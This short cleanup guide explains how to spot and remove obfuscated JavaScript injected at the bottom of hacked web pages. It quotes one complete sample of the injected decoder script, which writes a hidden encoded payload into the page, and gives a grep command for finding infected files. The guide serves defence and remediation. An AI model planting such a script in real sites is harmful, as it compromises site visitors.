Check last few lines of web page for obfuscated javascript code, as in the following example:
<!-- ~ --><script language=JavaScript>function dc(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,49,46,22,39,35,15,23,8,28,0,0,0,0,0,0,2,25,55,54,30,40,13,57,14,12,53,47,43,19,38,3,37,33,58,18,36,44,20,24,51,60,29,0,0,0,0,41,0,0,45,48,9,32,17,59,31,6,61,5,4,7,27,50,56,62,34,10,52,1,16,21,26,42,11);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}dc("kNdXOhF18O9QSX9cfBINV3WXaXUcFmFNV3p1shZcahFNw3pc7MIoahUo7mIc75APkxjJi5_eFmZtw0_rssFcmOAt7ObJfKE1s5UrzKIcSnbrIK9caBjrwB9J@3EJfXZoa5_euXUJw4I190GosKIcDspNAy8XOhF18OYN")</script><!-- ~ -->
Remove the offending lines as you find them on any pages.
With SSH command line access, you can find additional infected pages with a command similar to the following...
grep -r "function dc(x)" . | awk -F: '{print $1}'
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